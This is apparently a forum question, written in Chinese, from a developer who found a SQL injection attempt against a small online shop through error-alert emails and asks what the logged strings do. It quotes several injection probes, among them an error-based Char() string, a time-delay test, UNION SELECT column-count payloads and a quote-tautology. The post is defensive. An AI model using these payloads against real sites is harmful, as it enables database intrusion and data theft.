我为我的一个朋友创建了一个在线商店。
我创建了一个系统,只要出现数据库错误,它就会向我发送电子邮件,这样,如果它是我的代码中的错误,我可以识别它并修复它。该电子邮件包含有关失败的查询、传递的数据、会话数据等的详细信息。
今天早上 3:05,我在 5 分钟内收到了大约 120 封电子邮件。对于数据库错误并查看正在发生的事情,我可以很快看出这是一次 mysql 注入攻击。在查看了攻击者尝试的一堆东西之后,我有点想知道他们试图传递的一些 sql 命令实际上会做什么。
在查看了整个数据库以及网站上的文件后,我几乎 99% 肯定没有任何损坏、删除或更改。这让我很高兴知道我的 php 知识足够了解如何防止这些事情发生。
我的问题是,在下面的 mysql 命令中,攻击者试图做什么?
or 1=convert(int,(select cast(Char(114)+Char(51)+Char(100)+Char(109)+Char(48)+Char(118)+Char(51)+Char(95)+Char(104)+Char(118)+Char(106)+Char(95)+Char(105)+Char(110)+Char(106)+Char(101)+Char(99)+Char(116)+Char(105)+Char(111)+Char(110) as nvarchar(4000))))--
; if (1=1) waitfor delay \'00:00:07\'--
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--
999999.9 union all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
leachiancs\' and \'x\'=\'x
谢谢(你的)信息。
更多信息
为每次攻击运行的查询很简单
SELECT * FROM tableName WHERE $phpVar AND price!='sold' ORDER BY id DESC
$phpVar 的填充基于 $_GET 条目是否与接受术语数组中的术语匹配。
所以正在运行并返回错误的文字查询是
SELECT * FROM tableName WHERE AND price!='sold' ORDER BY id DESC
这就是引发关注的原因
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND price!='sold' ORDER BY id DESC' at line 1